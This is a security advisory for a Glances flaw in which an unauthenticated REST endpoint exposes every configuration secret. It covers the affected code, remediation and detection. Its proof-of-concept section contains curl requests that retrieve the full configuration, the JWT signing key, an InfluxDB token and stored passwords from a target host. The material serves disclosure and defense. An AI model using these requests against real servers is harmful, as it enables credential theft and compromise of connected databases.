Glances Exposes Unauthenticated Configuration SecretsGHSA-gh4x-f7cq-wwx6
Fix: nicolargo/glances@306a713GHSA-gh4x-f7cq-wwx6 is a Information Exposure vulnerability in glances. A fix is available for glances — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gh4x-f7cq-wwx6.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
glancesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.
Details
Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.
Affected Code:
- File: glances/outputs/glances_restful_api.py, lines 1154-1167
def _api_config(self):
"""Glances API RESTful implementation.
Return the JSON representation of the Glances configuration file
HTTP/200 if OK
HTTP/404 if others error
"""
try:
# Get the RAW value of the config' dict
args_json = self.config.as_dict() # <-- Returns ALL config including secrets
except Exception as e:
raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
else:
return GlancesJSONResponse(args_json)
- File: glances/config.py, lines 280-287
def as_dict(self):
"""Return the configuration as a dict"""
dictionary = {}
for section in self.parser.sections():
dictionary[section] = {}
for option in self.parser.options(section):
dictionary[section][option] = self.parser.get(section, option) # No filtering
return dictionary
- File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix) # No authentication!
PoC
- Start Glances in default webserver mode:
glances -w
# Glances web server started on http://0.0.0.0:61208/
- From any network-reachable host, retrieve all configuration secrets:
# Get entire config including all credentials
curl http://target:61208/api/4/config
Step 3: Extract specific secrets:
# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key
# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token
# Get all stored server passwords
curl http://target:61208/api/4/config/passwords
Impact
Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | glances | all versions | 4.5.1pip install --upgrade 'glances==4.5.1' |
Affected Products
glancesnicolargoDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update glances to 4.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gh4x-f7cq-wwx6 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
How to detect GHSA-gh4x-f7cq-wwx6
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-gh4x-f7cq-wwx6 -u https://target- Template
- Glances - Information Disclosure
- Severity
- high
- Impact
- Attackers can access sensitive credentials, including passwords and keys, leading to potential full system compromise.
- Remediation
- Upgrade to version 4.5.1 or later.
Template by ProjectDiscovery nuclei-templates (theamanrawat), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-gh4x-f7cq-wwx6 in your dependencies?
Find it across PyPI, including transitive dependencies.